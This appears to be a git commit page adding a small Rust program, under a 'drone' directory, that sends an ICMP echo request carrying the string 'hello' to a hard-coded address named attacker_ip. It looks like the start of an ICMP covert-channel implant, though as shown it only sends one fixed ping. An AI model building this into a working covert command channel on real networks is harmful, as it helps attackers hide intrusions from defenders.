aboutsummaryrefslogtreecommitdiff
path: root/drone/src
diff options
context:
space:
mode:
authorMatt Wimbler <[email protected]>2025-06-22 18:23:33 +0200
committerMatt Wimbler <[email protected]>2025-06-22 18:23:33 +0200
commit54a54b0d0d3365dcad90e09d48ea9257487f35e9 (patch)
tree0f2a852a16063df2b93977bbf5f9e97deda21ce5 /drone/src
parent746d7933ea871a873a73be96747350edd015f8d5 (diff)
basic icmp commsHEADmaster
Diffstat (limited to 'drone/src')
-rw-r--r--drone/src/main.rs32
1 files changed, 32 insertions, 0 deletions
diff --git a/drone/src/main.rs b/drone/src/main.rs
new file mode 100644
index 0000000..600a5f7
--- /dev/null
+++ b/drone/src/main.rs
@@ -0,0 +1,32 @@
+use pnet::packet::icmp::{IcmpPacket, IcmpTypes, checksum};
+use pnet::packet::icmp::echo_request::MutableEchoRequestPacket;
+use pnet::packet::{Packet};
+use pnet::transport::{transport_channel, TransportChannelType, TransportProtocol};
+use pnet::packet::ip::IpNextHeaderProtocols;
+use std::net::IpAddr;
+
+fn main() {
+ let attacker_ip: IpAddr = "192.168.1.86".parse().unwrap();
+
+ let protocol = TransportChannelType::Layer4(TransportProtocol::Ipv4(IpNextHeaderProtocols::Icmp));
+ let (mut tx, _) = transport_channel(1024, protocol).expect("Failed to open channel");
+
+ let mut buffer = [0u8; 64];
+ let mut packet = MutableEchoRequestPacket::new(&mut buffer).unwrap();
+
+ packet.set_icmp_type(IcmpTypes::EchoRequest);
+ packet.set_identifier(1234);
+ packet.set_sequence_number(1);
+
+ let payload = b"hello";
+ packet.set_payload(payload);
+
+ let icmp_packet = IcmpPacket::new(packet.packet()).unwrap();
+ let chksum = checksum(&icmp_packet);
+ packet.set_checksum(chksum);
+
+ match tx.send_to(packet, attacker_ip) {
+ Ok(_) => println!("Packet sent"),
+ Err(e) => eprintln!("Send failed: {:?}", e),
+ }
+}